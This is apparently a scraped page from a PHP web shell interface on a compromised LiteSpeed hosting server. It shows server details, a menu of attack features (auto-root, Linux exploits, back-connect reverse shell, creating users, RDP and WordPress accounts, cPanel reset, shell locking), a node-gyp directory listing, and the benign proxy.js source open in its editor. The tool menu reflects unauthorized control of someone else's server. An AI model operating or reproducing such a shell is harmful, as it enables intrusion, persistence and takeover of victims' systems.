Linux premium180.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
LiteSpeed
: 162.0.209.168 | : 216.73.216.187
Cant Read [ /etc/named.conf ]
8.3.30
nortrmdp
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
lib /
node_modules /
npm /
node_modules /
node-gyp /
lib /
[ HOME SHELL ]
Name
Size
Permission
Action
Find-VisualStudio.cs
7.75
KB
-rw-r--r--
build.js
5.16
KB
-rw-r--r--
clean.js
355
B
-rw-r--r--
configure.js
12.04
KB
-rw-r--r--
find-node-directory.js
2.32
KB
-rw-r--r--
find-python.js
10.88
KB
-rw-r--r--
find-visualstudio.js
13.53
KB
-rw-r--r--
install.js
14.01
KB
-rw-r--r--
list.js
641
B
-rw-r--r--
node-gyp.js
4.57
KB
-rw-r--r--
process-release.js
5.65
KB
-rw-r--r--
proxy.js
2.57
KB
-rw-r--r--
rebuild.js
314
B
-rw-r--r--
remove.js
1.28
KB
-rw-r--r--
util.js
1.87
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : proxy.js
'use strict' // Taken from https://github.com/request/request/blob/212570b/lib/getProxyFromURI.js const url = require('url') function formatHostname (hostname) { // canonicalize the hostname, so that 'oogle.com' won't match 'google.com' return hostname.replace(/^\.*/, '.').toLowerCase() } function parseNoProxyZone (zone) { zone = zone.trim().toLowerCase() var zoneParts = zone.split(':', 2) var zoneHost = formatHostname(zoneParts[0]) var zonePort = zoneParts[1] var hasPort = zone.indexOf(':') > -1 return { hostname: zoneHost, port: zonePort, hasPort: hasPort } } function uriInNoProxy (uri, noProxy) { var port = uri.port || (uri.protocol === 'https:' ? '443' : '80') var hostname = formatHostname(uri.hostname) var noProxyList = noProxy.split(',') // iterate through the noProxyList until it finds a match. return noProxyList.map(parseNoProxyZone).some(function (noProxyZone) { var isMatchedAt = hostname.indexOf(noProxyZone.hostname) var hostnameMatched = ( isMatchedAt > -1 && (isMatchedAt === hostname.length - noProxyZone.hostname.length) ) if (noProxyZone.hasPort) { return (port === noProxyZone.port) && hostnameMatched } return hostnameMatched }) } function getProxyFromURI (gyp, env, uri) { // If a string URI/URL was given, parse it into a URL object if (typeof uri === 'string') { // eslint-disable-next-line uri = url.parse(uri) } // Decide the proper request proxy to use based on the request URI object and the // environmental variables (NO_PROXY, HTTP_PROXY, etc.) // respect NO_PROXY environment variables (see: https://lynx.invisible-island.net/lynx2.8.7/breakout/lynx_help/keystrokes/environments.html) var noProxy = gyp.opts.noproxy || env.NO_PROXY || env.no_proxy || env.npm_config_noproxy || '' // if the noProxy is a wildcard then return null if (noProxy === '*') { return null } // if the noProxy is not empty and the uri is found return null if (noProxy !== '' && uriInNoProxy(uri, noProxy)) { return null } // Check for HTTP or HTTPS Proxy in environment Else default to null if (uri.protocol === 'http:') { return gyp.opts.proxy || env.HTTP_PROXY || env.http_proxy || env.npm_config_proxy || null } if (uri.protocol === 'https:') { return gyp.opts.proxy || env.HTTPS_PROXY || env.https_proxy || env.HTTP_PROXY || env.http_proxy || env.npm_config_proxy || null } // if none of that works, return null // (What uri protocol are you using then?) return null } module.exports = getProxyFromURI
Close